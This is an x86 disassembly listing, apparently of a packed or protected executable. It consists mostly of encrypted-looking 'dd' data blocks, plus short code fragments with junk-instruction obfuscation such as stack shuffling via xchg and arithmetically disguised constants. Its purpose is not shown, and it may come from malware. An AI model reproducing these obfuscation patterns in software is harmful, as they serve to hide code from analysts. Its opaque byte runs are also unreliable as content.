450A0000h, 5A0EA061h dd 0E221B34Eh, 0EF109555h, 938E50CBh, 77EE13h, 0D9F6045h dd 0D3A1986Dh, 38A6311Fh, 94BCB603h, 0F3B777F0h, 0B0D47C0Eh dd 0D17h, 5D588E00h, 320BDD33h, 52AFF9A9h, 6545CB2Eh, 51560A9Ch dd 0B8A1CAEh, 0A55C4ED3h, 1D70C72Eh, 0B797F8A4h, 73FC15F0h dd 0F2B6EFC7h, 0BE964225h, 5125F2B6h, 8CB0649Dh, 590D9F53h dd 0AF38B14Eh, 0F2B72B03h, 8935BE25h, 25F2B7B1h, 73EC9044h dd 0F2B7EFC7h, 0AACE8225h, 0C7386F33h, 0B7C39535h, 0BD4C25F2h dd 58A70021h, 0D2AA56DFh, 6525F2B7h, 52168DB1h, 0A831AA55h dd 0F2B824FCh, 0F3CB7725h, 8625F2B7h, 0C1E599D2h, 0D32C7B2Fh dd 9C42BD41h, 66DD2285h, 7456FDBCh, 1371009h, 0A29D0000h dd 0DB870095h, 15F0B716h, 7D0FC3h, 4AB6CECAh, 5B7F5901h dd 8C03FCABh, 9A673FFFh, 8C3C6008h, 2ED1D81Bh, 0CF7BF49Ch dd 25F37CF7h, 0A032D68Ah, 0B244BBECh, 2D2BB32Eh, 9FC33C6Dh dd 6C3BB8EFh, 0EB78EF93h, 5F837C2Bh, 7499F0C9h, 3D1D09h dd 0A2AA0000h, 0FC85FE93h, 1E415AC6h, 7CA0C59Ah, 0D31E78E0h dd 0A537EB1Fh, 0D31E2D05h, 0AD31BC1Fh, 45BAEBABh, 56ABFFB3h dd 5BA602B2h, 4051E437h, 1FB31BC7h, 72261FD3h, 0A7CCFBh dd 0A2550000h, 0DB870095h, 15F0BB52h, 48113C7h, 1AC66644h dd 25F2BB42h, 597D21D5h, 0A32CFEA9h, 0F2BC1FF7h, 62FEB225h dd 25F2BB8Ah, 0BB5931DDh, 38EC25F2h, 30A74BFFh, 32C43B6Ch dd 51BEF5B5h, 57F317BFh, 25F2BC88h, 60F21D96h, 7305FCACh dd 758A1BCBh, 0C915A4E3h, 449A2964h, 0BE35CADDh, 2CD8E057h dd 25F2BC54h, 808127E7h, 0FEA246EEh, 0A4CD985h, 15C91C19h dd 5F460683h, 42660EA0h, 58EA1592h, 6CFE01A4h, 8214FBB8h dd 0C06D71F0h, 532BB332h, 238B1E4h, 3866220Ah, 219ABEC1h dd 3F59E875h, 3AB16522h, 95A2C3h, 673EFE87h, 3A5E0698h dd 0F9EF119Eh, 19C54E15h, 25F9EE41h, 0C3FC20D4h, 0DEC97D0Fh dd 0C1E6AA21h, 0E10CAC3Eh, 91309B18h, 6245DC02h, 4562269Dh dd 357428BAh, 27A638CAh, 0B63D6AB7h, 0F46B0FF2h, 0F6887730h dd 8D7h, 2AA76000h, 0A0C43B6Ah, 9A67453Dh, 0AC535408h dd 0BF42661Ah, 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh dd 20E1C97Dh, 34CBDA8Eh, 0C56886A2h, 89000003h, 89572414h dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 2404895Ch, 3B3A68h dd 241C8900h, 3988BF57h, 0F7574926h, 815F2414h, 691936EFh dd 1C78101h, 8950B5A0h, 8B545FF8h, 0C483241Ch, 4EC8104h dd 89000000h, 4812404h, 0EB15F124h, 8438F17h, 0F1086B81h dd 0FF17EB15h, 815B2434h, 4C4h, 2434FF00h, 4C48358h, 0F92B5DE9h dd 0D2E350FFh, 2651AEB8h, 0FFC50306h, 25AA0FE0h, 0FB868001h dd 40338A41h, 442ABD2Eh, 904D1D59h, 0BAD8A855h, 3529180Fh dd 0A464E53Dh, 6EFA323Eh, 0D22DA27Eh, 7B31EE69h, 338D8D63h dd 6A062653h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 59F0C355h, 0FF551C4h, 686h, 95BD8B00h dd 89061F2Dh, 1F0B5D8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0B70FBA90h, 0C585C7C1h dd 54061F20h, 66000070h, 85C7D18Bh, 61F137Dh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C3C35141h dd 0C281BC41h, 22D598E6h, 749B5FFh, 6A061Fh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 204D80C3h dd 96B57EC5h, 95898053h, 61F0589h, 589858Bh, 95FF061Fh dd 61F2D59h, 95FF006Ah, 61F1D45h, 0EEBC08Bh, 112F4736h dd 2D6759A5h, 608AE520h, 8D8DE043h, 626541Bh, 850Fh, 89F80000h dd 1F0B5D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0BE2B047Eh, 0C585C7BAh, 94061F20h dd 6A00006Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0FC5DC355h, 549F3790h, 0E9C47FFBh dd 0Eh, 0D300FD4h, 5DE943B7h, 87BB515h, 85C75AF8h, 61F137Dh dd 0 dd 0BC9BD29h, 0B5FF061Fh, 61F1545h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0ECC35040h, 0F0AE0B70h, 6097202Fh dd 3DE7BA66h, 5E8h, 0E2CF7000h, 85319550h, 61F08EDh, 95FF615Eh dd 61F2D59h, 61D68B60h, 95FF006Ah, 61F1D45h, 5FEBC08Bh dd 711E190h, 0BAEAAA3Bh, 0EE9CA00Ch, 0B532D61Ah, 0FA1BD232h dd 9AFB914Bh, 921F1C00h, 3AE0E2FFh, 4777191Ch, 9367AF16h dd 0DBD0BFF8h, 0CCA76ABEh, 77DA2B70h, 0EDF8014Eh, 0AC70F745h dd 1E462994h, 23345BEDh, 0F02E184Bh, 172511AFh, 8F5F47A6h dd 79BD8E42h, 1CC061Ch, 77361ACEh, 0EB5F6C5Ah, 10h, 3 dup(0) dd 6AC08B00h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 9DC5C350h, 0D9952BFCh, 83061F16h dd 1F06C1BDh, 9750006h, 1F51BD83h, 7400061Fh, 8B535019h dd 42DB8C0h, 85890000h, 61F0F65h, 0AFA49D8Dh, 0D3FF0621h dd 0BD83585Bh, 61F1F51h, 50177400h, 42DB853h, 85890000h dd 61F0F65h, 0AC939D8Dh, 0D3FF0621h, 6A585Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 958B1AC3h dd 61F0741h, 0E9F7B70Fh, 5, 0D2635E5Fh, 0E9C08B02h, 7 dd 727DE0DBh, 8B2EC731h, 1F1FE58Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 8504409Ah dd 4ED34501h, 18E3DE81h, 2B566040h, 1F231995h, 0F9835A06h dd 69840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 465C355h, 3C7ABB08h dd 0C820Fh, 820F0000h, 6, 1A49952Bh, 0F680061Fh, 3D8B6434h dd 2Ch, 0A58D89h, 9589061Fh, 61F31B1h, 840FFF0Bh, 18h dd 3F8BF18Bh, 95897EB6h, 61F0565h, 8589C032h, 61F0E05h dd 0F0B2AAF3h, 50414935h, 0B6EE8153h, 0C6391351h, 1F202585h dd 0B70F4706h, 0AB7468F1h, 850FD406h, 0Ch, 6870Fh, 52500000h dd 585A310Fh, 0B8240481h, 0F08CFDCh, 687h, 4DBD0900h, 0FF061F27h dd 1F3271B5h, 0F1BF0F06h, 7993858Dh, 958B0622h, 61F0DF5h dd 227CCE81h, 0D0FF765Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 57C35343h, 95BD5222h, 0F01E726h, 68Ah dd 0F58D2900h, 0F8061F1Ch, 0B818529h, 8589061Fh, 61F1889h dd 0C646DE80h, 1F202585h, 6A5306h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 8BD685C3h, 49B509F5h dd 68061F23h, 37D859CCh, 0CD45C5BAh, 2404813Bh, 50C01130h dd 8E8h, 43112500h, 6DA38823h, 0B5315ADDh, 61F1D65h, 3271B5FFh dd 0B70F061Fh, 38F0FD1h, 0F000000h, 858DD1BFh, 6227993h dd 2061958Bh, 0D0FF061Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 88C35242h, 0E2820ABCh, 3890Fh, 0BF0F0000h dd 0EB858DD3h, 0F06223Dh, 80h, 0F9858900h, 6A061F14h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 6389C356h, 0AE566FA7h, 81F78A55h, 0EA6B3CAh, 6A206A6Bh dd 0F995FFFFh, 35061F14h, 53504149h, 9CD85C7h, 1061Fh dd 85C70000h, 61F0AC1h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F2C35747h dd 0C3BF6198h, 0F28DC2E6h, 14E8FC50h, 0E8000000h, 3D64BB52h dd 504693B5h, 4D69E509h, 0B0716DEFh, 811431E1h, 0F90AC7E2h dd 0BD835E42h, 61F20F1h, 55840F00h, 1000000h, 1F2F75BDh dd 0BD858B06h, 64061F2Dh, 0A3h, 11E900h, 0ADB40000h, 0EDC5D9B1h dd 0B7D6D9D0h, 4BBF9962h, 8B5CF524h, 1F153D85h, 0E08BFC06h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 86C35747h dd 9D89983Eh, 61F0DB1h, 10DDBD83h, 0F00061Fh, 39B85h, 0D5B58B00h dd 89061F18h, 1F17558Dh, 2585C606h, 56061F20h, 4E8h, 0C530DF00h dd 506DB6A9h, 448BD18Bh, 0D6BE0424h, 8B6E18ADh, 89D38B00h dd 0E8042444h, 14h, 1E27839Dh, 10620C9Ch, 63B7AD8Ah, 6381D9B5h dd 2CFB531Fh, 0DE8h, 0E9C14700h, 69EE1D53h, 7724FD40h dd 52503B68h, 585A310Fh, 89585E5Eh, 1F085DBDh, 71B5FF06h dd 6A061F32h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 7836C351h, 1A2A5896h, 7993858Dh dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 9BC994C3h, 11899529h, 0D0FF061Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0AAC35242h, 508C25A4h dd 50525060h, 5A310F52h, 0E9310F58h, 6, 0BB1079F9h, 585ACE22h dd 28F0Fh, 0C88B0000h, 24048961h, 0BF59DE81h, 8D094E32h dd 61F11B1h, 5FD8D8Dh, 0B58B061Fh, 61F1AD5h, 240C8950h dd 46AF78Bh, 126DB58Bh, 8868061Fh, 0BE30AB6Ah, 44FDD8AFh dd 88243481h, 0BA30AB7Ah, 6CBEF07Ah, 5CDB5FFh, 0D0FF061Fh dd 68B0Fh, 0DE810000h, 780E2477h, 5CDBD8Bh, 6A061Fh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 355F5C3h, 0C7813C7Fh, 0F8h, 90B0DABAh, 2447C710h, 60000020h dd 2BB19533h, 0BD83061Fh, 6265481h, 2A840F00h, 8B000001h dd 28C783D7h, 6A2E07C7h, 6A6469h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0DE5354C3h, 447C75Dh dd 617461h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 6BC35141h, 0BC19BEC2h, 0BE660132h, 858B6B5Ch, 6265489h dd 12E8h, 98861200h, 0DDDED395h, 8D726135h, 0A11B6FA2h dd 0FEB83C1h, 684h, 5D950300h, 5E061F2Dh, 0B20C4789h, 8D858B0Eh dd 29062654h, 1F00F9B5h, 8478906h, 1AC99D89h, 0C783061Fh dd 6870F28h, 8B000000h, 1F2F69B5h, 2E07C706h, 6A6E6F63h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 64EFC352h, 0C8790131h, 7D8589C0h, 0E9061F14h dd 7, 88205A43h, 0C73624B6h, 69660447h, 13E90067h, 0A5000000h dd 74D7100h, 0E75AE8E7h, 0DF445105h, 0C7E93D30h, 858B65D6h dd 6265485h, 0C4789FCh, 120D8D29h, 858B061Fh, 6265481h dd 0DE81D78Bh, 59B360FDh, 8B084789h, 1F15C1B5h, 6A5806h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0F18902C3h, 0FAE9646h, 683h, 0BD952B00h, 8D061F0Ah dd 1F2E2D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0B58BE6A8h, 61F1BEDh, 93BE6650h dd 240C89CEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 4CC35646h, 892ECA72h, 1F16558Dh, 0FDB5FF06h, 31061F05h dd 1F0AB195h, 7B566806h, 8D0FDFB6h, 0 dd 0AA240481h, 6A204994h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0D4E7C351h, 0F30223DDh dd 0A7C30E0Eh, 5CDB5FFh, 0B70F061Fh, 0F8D0FFD2h, 0B8h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 2D1545DBh, 704B3B96h, 70BB6660h, 2830FA0h dd 0B2000000h, 0BE666164h, 0C00B1ADBh, 60840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0FCFF3AC3h, 23CDB5FFh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 697FEC3h, 0F64E1245h dd 9D896079h, 61F2BFDh, 0EBDA8166h, 95FF6116h, 61F2D59h dd 199DBD89h, 0C08B061Fh, 0DE9h, 0EE968600h, 31D4AB2Ch dd 17C0E191h, 0BD8387DBh, 61F06C1h, 83097500h, 1F1F51BDh dd 19740006h, 0C08B5350h, 42DB8h, 95858900h, 8D061F13h dd 21B00B9Dh, 5BD3FF06h, 51BD8358h, 61F1Fh, 53501774h dd 42DB8h, 95858900h, 8D061F13h, 21ACAC9Dh, 5BD3FF06h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 3DB9D473h, 798D01F8h, 60061F13h, 8E9h, 0B9C89800h dd 0E0BBDE89h, 0D881661Dh, 66613D98h, 0C08BD68Bh, 8BD18B66h dd 1F1A6995h, 0E8C08B06h, 10h, 628B5578h, 5AC534E5h, 0FECEFD12h dd 0ED79CC5Eh, 5FD18B53h, 0CEC2815Eh, 81563CACh, 5A66C6h dd 5830F00h, 66000000h, 0BFFECA81h, 68h, 1A820F00h, 0E8000000h dd 9, 7890773Ch, 153688A0h, 5E850h, 20250000h, 5A0F8C6Dh dd 34FF5B59h, 0E9BD8B33h, 58061F1Ch, 2860Fh, 0EE8A0000h dd 0D40AE881h, 8D336C00h, 61F0615h, 3C2BC081h, 8D890EA9h dd 61F242Dh, 8E54C081h, 64B13009h, 0B6BF6650h, 1E048FE8h dd 2B319D09h, 958B061Fh, 61F1F29h, 8902EB83h, 1F11658Dh dd 8B4B4B06h, 1F2FDD95h, 78FB8106h, 0FFFFFA6h, 1885h, 11BD0900h dd 0E9061F2Dh, 22h, 216D9F46h, 497EF191h, 3C31990Ch, 65B589D2h dd 0E9061F06h, 0FFFFFF7Ah, 52C38BD4h, 2D03C2F4h, 4EB6724h dd 53524FEh, 622E9h, 91703C00h, 0B04F561Ah, 0CC357539h dd 0E7189155h, 7FAAC70h, 838A4490h, 0A367DE23h, 0C488FF10h dd 0E2A61DE4h, 0FAC33AC5h, 43FDD581h, 589019ADh, 9D6245E5h dd 0A64F570Bh, 5B4FFF02h, 0C86C14A6h, 0E51A8D51h, 0F7089F53h dd 0BF4B165h, 22E1D292h, 0B2D67A85h, 57871620h, 0AB22DDCAh dd 0C940C1E7h, 5652A305h, 0CD7119ABh, 0ED149454h, 0FD8FB35Bh dd 13A56A49h, 45DC0281h, 63279E63h, 8929BB44h, 1FD3A1B4h dd 3C1CC24Dh, 0B3D72A7Ch, 94BC5C1Dh, 0D7D191F0h, 0CCF0982Ah dd 0A033h, 0BC7CC000h, 44F418F7h, 0EC239063h, 9A46CF48h dd 1FD3A1C2h, 0EB7DA155h, 0D3A1794Bh, 0E7188D1Fh, 2812A155h dd 0D3A1A47Ch, 0DF83371Fh, 2AB4434Dh, 934BD603h, 0B8903CC5h dd 4B1FD3A1h, 9CDD7397h, 31F094BCh, 1, 0EEBC7CBEh, 0BE436313h dd 44BBEA9Ah, 317535B2h, 0A9FCACD0h, 1147C456h, 0EBD53C55h dd 15C5E9C0h, 0B7485F94h, 6294D891h, 5AFEF5F0h, 0AF2FBEC8h dd 53CC3372h, 3E11BC1Dh, 0C2F1BEFFh, 0BAF9A94Dh, 0F6BA3155h dd 583DCCB1h, 0CFF5AD3Dh, 6727B42Bh, 9711C13Eh, 0C30D86Ah dd 0A06145A9h, 0D4D1910Eh, 4E57072Bh, 6AFC05A5h, 88C1EC2h dd 825A068Fh, 151FD3A1h, 1CC23D61h, 0E960A105h, 47D8225h dd 99B6644h, 0F7AB3D61h, 8E6542B3h, 0AC54E619h, 1ED26408h dd 1DF5A189h, 0B01FD3A2h, 12C658FCh, 52D66897h, 0C82607D7h dd 3AC39549h, 0D3A1B68Eh, 7195491Fh, 94BAEEDBh, 0AA3FF0h dd 45CC0000h, 0EF129461h, 0AF8FB55Dh, 28CA2B40h, 57D4660Ah dd 0B94A22CEh, 29DD1FD2h, 0AC555505h, 26FEAA33h, 421FD2BAh dd 0B1659E71h, 0B9B48C38h, 93471FD2h, 44D3DD6Fh, 0E21F879Ah dd 2FFA76Bh, 53B15389h, 0CC3DA8BDh, 20CFA753h, 0AE621FD3h dd 6544F88Ah, 27A6089Ah, 0E218A1B7h, 6DE0FA54h, 1BF38FC4h dd 0AE1FD2A9h, 75F8D4FAh, 0D47B0678h, 0F92F1AB0h, 557EF094h dd 0B000000h, 6F47F37Ch, 21FD3A1h, 2C7A2A4Eh, 198F43D5h dd 0B763D7DCh, 1FD3A1DFh, 881ABE72h, 6BAA3CE0h, 0F3A9A8DEh dd 0DD78F51h, 0B1706EE9h, 1E950CF5h, 40ECBC7Ch, 0D3A1BC94h dd 0F79B4F1Fh, 7D8223D3h, 0A1764BEBh, 840F1FD3h, 0BC98E15Ah dd 135F094h, 0C2000000h, 0A9C6545h, 23DCCD8Dh, 15C5E991h dd 14EC9892h, 301FD3A2h, 9C508978h, 0A19F7723h, 7E321FD3h dd 37B648DAh, 0D1307AA7h, 6D129858h, 0E09195D1h, 2448EC6Eh dd 9CF146ADh, 41649A23h, 7284F1E3h, 0EF129848h, 0F591B55Dh dd 15F08394h, 3FF38539h, 5C209768h, 0FFA84Bh, 9022C66Eh dd 0F2831EF0h, 0C618A725h, 3D6A5C92h, 43A53706h, 25E9B20Dh dd 0F33D770h, 40B7485Fh, 0E1C82B7Ch, 40E48C1Eh, 387131AEh dd 8012EFBBh, 78A234D8h, 0A717FE43h, 0ED11B585h, 1F896A3Dh dd 0F8AC3EE2h, 0ABE50AFh, 90D1639Eh, 6048D905h, 47DFDA1h dd 0DCF7CF7Bh, 0D68A25F1h, 7AA737B2h, 9959D22Dh, 7B416F0Eh dd 947B6005h, 90B65EF0h, 0BB70AFE8h, 0A61D4171h, 0CC0E319h dd 53976F1Bh, 762A25F2h, 7B767150h, 0FAF8C157h, 6F150975h dd 0A2000001h, 870095A2h, 9123ECC7h, 0C34CC5E9h, 0C759A603h dd 0C9366F1Fh, 0CF6B8F37h, 15F0B70Ah, 0BD7103B7h, 929493EAh dd 0FD08EB22h, 10B458A9h, 5A4C0C99h, 0F46D15A7h, 0F3917048h dd 2B4F0325h, 41D32C7Bh, 53E51A8Dh, 65F7089Fh, 7507F8B1h dd 8517E8C1h, 0CB13A2DDh, 7767E262h, 8B02FDAAh, 14693EFEh dd 0A841DF4h, 0B244E8CBh, 1359E40Ah, 896C73D9h, 0F38ACF65h dd 52230974h, 9A000000h, 5E8D6511h, 34E025F3h, 25F35E5Ch dd 4E023BEFh, 5E5129D5h, 30E425F3h, 93A2A90Ch, 3CFC85FEh dd 5B03956Ch, 0A3339B37h, 0DD661FD3h, 0D3A15931h, 1438EC1Fh dd 0F59527DBh, 1FD3A21Dh, 0C1BD21ACh, 0F09C1574h, 1FD3A388h dd 0A1D047FBh, 0A2h, 47F37C2Ah, 1FD3A16Fh, 0D72A4E02h dd 6F842160h, 9022C63Bh, 1FCB44E8h, 15F0BA96h, 0FED6820Bh dd 1A25F2BAh, 8539728Dh, 0FFA868E1h, 0A2C66E00h, 0B44B5C10h dd 2E06B23Bh, 0C125F2BAh, 0AE72E90Dh, 55ACFAF9h, 0B07F1FB1h dd 3325F2BBh, 3FC2E6A6h, 66E105ADh, 2CFEA978h, 0F2BBA880h dd 20EFC425h, 188F33E7h, 8A0386B1h, 6427801h, 3F77F2BAh dd 0A411E985h, 0F0A425F2h, 75996840h, 18C205D9h, 4ADC901Ch dd 0C3E21196h, 7406983Ch, 0AF6FE9F5h, 0CE7608F9h, 0ADE057AAh dd 1FB48834h, 8B3F223Fh, 95A29D14h, 7DB8700h, 9215F9C0h dd 0FF855D09h, 641825F9h, 0F1B12EC0h, 10B84AB7h, 946B3CECh dd 0B14E591Dh, 0B76CA21Fh, 5C02B3B0h, 0F4922E52h, 0CA20EB86h dd 297EA33Bh, 28D45DD6h, 290D8650h, 32C43B6Ch, 1891518Ah dd 9AD55E7h, 0ABE16EE5h, 0E769D1EDh, 41F115D1h, 53079966h dd 8517A956h, 5E49D806h, 41662AA1h, 7709F8B2h, 8D1FF0C3h dd 771B41E5h, 4566F378h, 2140D276h, 8, 0ECBC7CAAh, 3CA3F115h dd 89A6745h, 1AAC5354h, 2DBF4266h, 43D53A79h, 58EA178Fh dd 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh, 5B545386h dd 4C381h, 0EB830000h, 241C8704h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push 2E95h mov [esp], esi mov esi, 31D41361h not esi inc esi sub esi, 435C6177h sub esi, 84A92D1Fh mov eax, esi pop esi push 59Eh mov [esp], esp add dword ptr [esp], 4 pop ebp sub esp, 4 mov [esp], eax add dword ptr [esp], 401D1CABh pop dword ptr [ebp+8] sub dword ptr [ebp+8], 401D1CABh mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_535A7A ; --------------------------------------------------------------------------- db 23h, 17h, 84h dd 1BD5E16Ch, 0B8CF91B7h, 626637Dh, 0E0FFC503h, 0B99D792h dd 291909A6h, 22037F14h, 158A6C99h, 58F4CDA9h, 770B36A2h dd 5747AC73h, 2B34EA58h, 6CEDA0E1h, 15EFF5C9h, 3B257A8Eh dd 22A9D9FAh, 3975A740h, 2CF55DA4h, 36435EFBh, 3420652Fh dd 38B5A3C5h, 75828BE3h, 0CAD7371h, 3AA642AEh, 1730FD7Eh dd 72A29B68h, 7AABF988h, 5DB91FCEh, 0D9C40A3h, 4030D99Bh dd 5E1391BBh, 99A850Fh, 3E63731h, 47BE765Ah, 2A536166h dd 65888D8Dh, 6A0626h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 78487AC3h, 60D6DB28h, 8BD8D29h dd 8166061Fh, 61BF0FE2h, 5D8D89FCh, 89061F0Bh, 1F00AD8Dh dd 0C585C706h, 90061F20h, 6A000060h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 36C7C351h dd 85C7CE1Ah, 61F137Dh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 5DC35646h dd 0FFB92B25h, 1F0105B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0C0D932F2h dd 81660E5Fh, 0FFC0CDD0h, 1F2D5995h, 0B99D8B06h, 8B061F11h dd 1F2D19B5h, 0FF006A06h, 1F1D4595h, 0EBC08B06h, 256E1F1Bh dd 0C6F7EBFEh, 6A9772F3h, 83C60736h, 166A77C6h, 32D10914h dd 769015F6h, 0AE8h, 0B156B800h, 0C0DF142Ch, 0E9669025h dd 10h, 3C7276F7h, 94657D65h, 0F922BCE0h, 0CCBD3324h, 2860F5Fh dd 0B6000000h, 3AC781E8h, 0F00006Dh, 0B80h, 58C0F00h, 66000000h dd 130F081h, 0B653F633h, 34FF5B41h, 0DFBF0F3Eh, 8CBB6659h dd 0D6F18160h, 660B4281h, 0C97CC281h, 9962E981h, 0C1815FCBh dd 18445D42h, 8963C080h, 0BD31370Ch, 61F0CF1h, 0A9D9D8Bh dd 0EE83061Fh, 51958B01h, 4E061F1Bh, 1FBB4E4Eh, 81550B57h dd 0FF9380FEh, 16850FFFh, 89000000h, 1F0891B5h, 1DE906h dd 56FE0000h, 0AA8A27AFh, 11EF2123h, 0C6B70FE5h, 0FFFF91E9h dd 8E6B8DFFh, 999F5244h, 8BC1C252h, 0C0h, 18Eh dup(0) dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0B20BC355h, 0F0340A06h, 0F8F88F75h dd 0E9609DFCh, 10h, 666A67D0h, 0ECE94015h, 0B0A8A5E6h dd 1EF51BEh, 570CCE81h, 61611F3Ah, 9E9h, 9262C600h, 0BC0F90C4h dd 6A5DDC43h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 1A5BC350h, 7F0BFF31h, 60F51B54h dd 232808BBh, 8A0F10h, 61000000h, 8244401h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 2EC35545h, 463F1C20h dd 0F810Fh, 0AE90000h, 45000000h, 0FDDA093Fh, 0E84259C6h dd 800FFC2Fh, 0Ch, 0E0816660h, 8166E9BDh, 61B0CAE9h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0FED581Fh, 1681h, 11E900h, 8F500000h, 3243EAADh, 0E8F43020h dd 0CF0B2F61h, 0F8AC46D7h, 8C0FC39Dh, 1, 10E9F5h, 93BA0000h dd 0DE9B58DDh, 5E847995h, 31F0B0FAh, 6AE7F5h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 85473CC3h dd 0F317A822h, 30BEF560h, 616C65A7h, 0F9C08BF5h, 0C8A0Fh dd 7E90000h, 45000000h, 0B535C986h, 0C081859Bh, 2487CA5Fh dd 1FBDBF66h, 5850Fh, 9EB80000h, 0E9400E69h, 8, 7C4C45E0h dd 77032C06h, 0CE78166h, 0CABF0F14h, 0EE816660h, 0F08A5DF0h dd 0B70F5661h, 81FC5FC0h, 337BCEF0h, 62D7B84Dh, 0FE8B2FDAh dd 0E3D980F9h, 0B70F5353h, 60595AF7h, 3880FF5h, 66000000h dd 5661F98Bh, 0FC5EDA8Bh, 81F08B66h, 99EACEC9h, 0F9BF0F24h dd 0E281F3B7h, 2E3EFB98h, 78A0Fh, 60600000h, 0DEBF0F61h dd 66606061h, 0AB3DF8Bh, 28B0F61h, 0B5000000h, 0E8B461B6h dd 7157BB66h, 44DE8160h, 662A210Fh, 0CB83CF81h, 0FFBF6661h dd 8A605751h, 615852CAh, 0F8BF0F59h, 12E8h, 5EFECE00h dd 3CED79CCh, 2BCFAFCEh, 2E09A5Bh, 0F9C2A82h, 1386h, 0DE800h dd 0AAD00000h, 5B9F4491h, 0FF62D5DEh, 5E722432h, 6850F5Eh dd 81000000h, 783B4DF1h, 13820F35h, 0E8000000h, 0Dh, 0F694E312h dd 17049A77h, 48BBC66Fh, 0BA665853h, 81661656h, 60CEAFD8h dd 0FE9h, 94998900h, 1668AC24h, 0E120497Ah, 0B8863241h dd 0F1CE8060h, 0BE8h, 25EDD800h, 0CE20703Bh, 0F7CC3C0Bh dd 6661615Bh, 0E781FA8Bh, 34FB88DAh, 6683EF80h, 7543F281h dd 28B0Fh, 0C68B0000h, 0EE8h, 4F334E00h, 4D97CBB1h, 6295915Dh dd 0F85E4C3Fh, 60C88B5Fh, 532EBE66h, 0E96158B7h, 10h, 5CEFF6FCh dd 0FF1DAAC4h, 7EF4AE47h, 5A762F56h, 9BF78166h, 0EE8C5h dd 0C1A50000h, 7F16D7DFh, 77BD5489h, 0E6F9448Bh, 0ADC18166h dd 58565F07h, 0CE9h, 61AEAA00h, 0A4C797F5h, 13FE9D60h dd 6E9B3h, 264B0000h, 0B6FEF64Dh, 0B4FA8B66h, 0D0FABA5Dh dd 9E94CAAh, 0E7000000h, 8F4A7B3Fh, 93CF8787h, 0EE9h, 0E9786F00h dd 0C55E6934h, 0D30C1BACh, 579BE4E7h, 7E9h, 0B2D02000h dd 4516BD2Dh, 0CE85Ah, 0EF870000h, 0D67280E7h, 717A6E1Ah dd 47B29DA7h, 0DF816659h, 8166E598h, 60AAE7F3h, 1810Fh dd 0FF90000h, 58Ch, 0D2E5B900h, 0F6156D7h, 198Fh, 11E800h dd 8C640000h, 6B08D4F4h, 0A41BC4FBh, 2D2A9D74h, 8A080465h dd 0D3805AC2h, 0E781662Fh, 8D0FD6DAh, 0 dd 9E8h, 0D6548C00h, 0CC95C304h, 0DE9FE7Eh, 69000000h dd 